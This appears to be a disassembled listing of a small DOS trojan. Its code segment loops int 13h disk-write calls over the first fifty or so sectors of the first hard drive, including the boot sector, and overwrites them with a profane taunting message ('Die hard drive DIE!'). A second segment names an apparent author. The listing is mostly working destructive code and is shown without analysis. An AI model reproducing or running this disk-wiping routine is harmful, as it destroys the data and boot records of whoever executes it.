dseg segment para public 'DATA'
assume cs:dseg
HDMessage db 'Ha you ****in asshole!!! Take this!!!!!!!!!!!!!!!!Heheheheheheheh'
db 'ehehehhe eheh h ehe he he h eh ehuehe hheeh he hehj ehe he hjejh '
db 'ejhr ghjeg jhwhwhehehehehehehhehehehehhehehehehehehehashahhahahah'
db 'ahahahahahahahahhahahahshagdjhdfgkjsgjsghjj ****!WOW MAN I GOT YO'
db 'U GOOD!Never mess with M.H.You suckDie hard drive DIE!WOW MAN I G'
db 'OT YOU GOOD!Hehehehehehehehehehehh ehehehehehehehhehehehehheheheh'
db 'ehehehehashahhahahahahahahahahahahahhahahahshagdjhdfgkjsgjsghjj f'
db 'uck!WOW MAN I GOT YOU GOOD!WOW MAN I GOT YOU GOOD!Ha you ****in a'
db 'sshole!!! Take this!!!!!!!!!!!!!!!!Hehehehehehehehehehehhe eheh h'
db ' ehe he he h eh ehuehe hheeh he hehj ehe he hjejh ejhr ghjeg jhwh'
db 'whehehehehehehhehehehehhehehehehehehehashahhahahahahahahahahahaha'
db 'hhahahahshagdjhdfgkjsgjsghjj ****!WOW MAN I GOT YOU GOOD!Never me'
db 'ss with M.H.You suckDie hard drive DIE!WOW MAN I GOT YOU GOOD!Heh'
db 'ehehehehehehehehehh ehehehehehehehhehehehehhehehehehehehehashahha'
db 'hahahahahahahahahahahhahahahshagdjhdfgkjsgjsghjj ****!WOW MAN I G'
db 'OT YOU GOOD!WOW MAN I GOT YOU GOOD!',0
align 10h
dseg ends
; ===========================================================================
; Segment type: Uninitialized
seg001 segment byte stack 'STACK'
assume cs:seg001
assume es:nothing, ss:nothing, ds:dseg
message db 'hahehahahahahahaThe',0,'asshole',0,'who',0,'brought',0,'you',0,'thisis'
db 0,10h,'KEITH',11h,0,0,0,0,0,0,0,0,10h,'BARBATO',11h
db 3B5h dup(0)
seg001 ends
; ===========================================================================
; Segment type: Pure code
seg002 segment byte public 'CODE'
assume cs:seg002
assume es:nothing, ss:seg001, ds:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
public start
start proc near
mov ax, seg dseg
mov ds, ax
assume ds:dseg
mov es, ax
assume es:dseg
mov cl, 0
loc_809: ; CODE XREF: start+1Dj
mov ah, 3
mov al, 9
mov bx, 0
mov ch, 0
mov dh, 0
mov dl, 80h ; '€'
int 13h ; DISK - WRITE SECTORS FROM MEMORY
; AL = number of sectors to write, CH = track, CL = sector
; DH = head, DL = drive, ES:BX -> buffer
; Return: CF set on error, AH = status, AL = number of sectors written
inc cl
cmp cl, 32h ; '2'
jbe short loc_809
mov ah, 4Ch
int 21h ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)